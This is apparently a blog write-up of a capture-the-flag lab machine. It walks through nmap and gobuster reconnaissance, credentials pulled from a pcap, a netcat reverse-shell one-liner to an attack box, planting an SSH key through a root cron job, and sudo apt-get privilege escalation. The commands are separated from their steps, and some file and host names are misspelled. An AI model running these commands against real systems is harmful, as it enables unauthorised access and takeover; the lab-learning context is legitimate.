- step First I have run nmap scan:
- step I then tried researching the VM with gobuster:
- step Then I opened /mail folder where we find the email correspondence with .pcap trace file.
- step I have downloaded the pcap file and open it with wireshark.In the trace file I have found the new domain where site is located. I also found the username and password for login.
- step To access new domain I have added VM_IP and new domain I have found in .pcap file to the /etc/hosts file on attackbox machine.
- step Now I have entered domain to the web browser and found login.php script and enter credentials from .pcap file.
- step After the login you are at site where you can enter commands. I had to look around the internet to get hint what to do in this step. In this step we initiate the reverse shell and start nc listener on attack box. I have run:
- step In a second I got shell access as www-data. After that I have checked cronjob settings and see that there is copy of the /opt/.backups/jake_ir_rsa.pub.backup public key to the authorised keys. Hmmm I think we could exploit this one by putting our public key instead of legit key.
- step On attackbox machine we can create our public key with following command:
- step Ok in this step I tried to log in to the machine using key. But of course I bit forgot how to do it so I had to look for little help what is exact command to use ssh keys to connect to the machine.
- step Then I can open user.txt file and copy the flag.
- step Now I was missing only root flag and I could access file only as root. I checked what programs I could run as jake user:
- step To do so we head over to the GTFObins and we find the command that we can run as current user to get root access.
- step We can find root flag at:
nmap -sC VM_IPScan gives me that only 2 ports are open - ssh and http. Connection to the page ip, didnt give me much more info.
gobuster dir -t 40 -u VM_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txtWith gobuster I find /mail folder.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Attackbox_IP 1338 >/tmp/fOn the attackbox I have started nc listener:
nc -lvnp 1338
ssh-keygen -t rsa -P '' -f jakekeythen we open key file and copy to the target machine with :
echo "public_key_we_created" > jake_id_rsa.pub.backupNote that you need to create file in /opt/.backups/ folder and filename needs to be as stated above that cronjob will take our file and we can login to the machine.
ssh -i jakekey jake@devleopment.smag.thmthen I pressed enter and I was logged in as jake. We can now search for the user flag.
find / -type f -name user.txt 2>/dev/null
sudo -lOutput of the command showed us that apt-get command can be run as jake user.
cat /root/root.txt
AudiTTRSi
No comments:
Post a Comment